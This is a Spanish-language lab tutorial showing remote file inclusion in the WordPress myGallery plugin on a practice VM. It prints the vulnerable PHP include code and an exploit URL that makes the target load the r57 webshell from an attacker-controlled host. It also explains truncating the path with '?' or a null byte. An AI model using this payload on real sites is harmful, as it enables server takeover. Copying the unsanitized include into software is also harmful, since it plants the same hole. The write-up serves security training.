Inclusión de Archivo Remoto (RFI) en Plugin myGallery de Wordpress
WordPress es un software web el cual puede ser utilizado para crear sitios webs o blogs. Es al mismo tiempo libre y sin costo. WordPress y sus componentes asociados; como los plugins; tienen un extenso registro de vulnerabilidades de seguridad, los cuales son identificados y parcheados constantemente. Para la siguiente demostración se utiliza la versión de WordPress incluida en la Máquina Virtual OBWAP.
Existe una vulnerabilidad de inclusión de archivo PHP remoto (RFI) en el archivo myfunctions/mygallerybrowser.php en las versiones del Plugin myGallery iguales o inferiores a 1.4b4, el cual permite a los atacantes remotos ejecutar código PHP arbitrario mediante la definición de una URL en el parámetro de nombre “myPath”.
En Samurai WTF se inicia el servidor web Apache.
El archivo a incluir será un conocido webshell de nombre “r57.txt”. Este archivo debe residir en el directorio web de Samurai WTF. Un webshell permite tener control del sitio web, el cual permite realizar diversas acciones posteriores a una explotación satisfactoria.
Según el reporte de la vulnerabilidad, la explotación se debe realizar utilizando una URL con el siguiente formato.
[Path_myGallery]/mygallery/myfunctions/mygallerybrowser.php?myPath=Shell
En base a esto se construye la URL para explotar la vulnerabilidad. La primera dirección IP corresponde al objetivo de evaluación. La segunda dirección IP corresponde a Samurai WTF, es decir la máquina del atacante.
http: //192.168.0.33/wordpress/mygallery/myfunctions/mygallerybrowser.php?myPath=http: //192.168.0.18/r57.txt?
Notar el símbolo final de interrogante "?" después del nombre del archivo correspondiente a la webshell. Revisamos la parte del código vulnerable.
if (!$_POST){
$mypath=$_GET['myPath'];
}
else {
$mypath=$_POST['myPath'];
}
require_once($mypath.'/wp-config.php');
El en código no hay obstáculos antes de la variable de nombre “$mypath”, de esta manera el atacante puede ejecutar la webshell antes expuesta.
?myPath=http:// 192.168.0.18/r57.php?
Eventualmente el código cargado será ejecutado:
require_once($mypath.'http://192.168.0.18/r57.php?/wp-config.php');
El código después del símbolo final de interrogante "?" es interpretado como una cadena URL de consulta, pero también como una manera de truncar, el cual es un método común para vulnerabilidades de inclusión remota de archivo. De igual manera puede ser utilizado un "00%" como una manera de truncar la cadena a continuación del símbolo de interrogante.
Referencias:
https://www.exploit-db.com/exploits/3814/
https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2426
http://osvdb.org/show/osvdb/34356
http://sourceforge.net/p/owaspbwa/tickets/9/
https://mycert.org.my/en/resources/web_security/main/main/detail/662/ind...
Sobre el Autor
Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
WhatsApp: https://wa.me/51949304030
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
Youtube: https://www.youtube.com/c/AlonsoCaballero
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/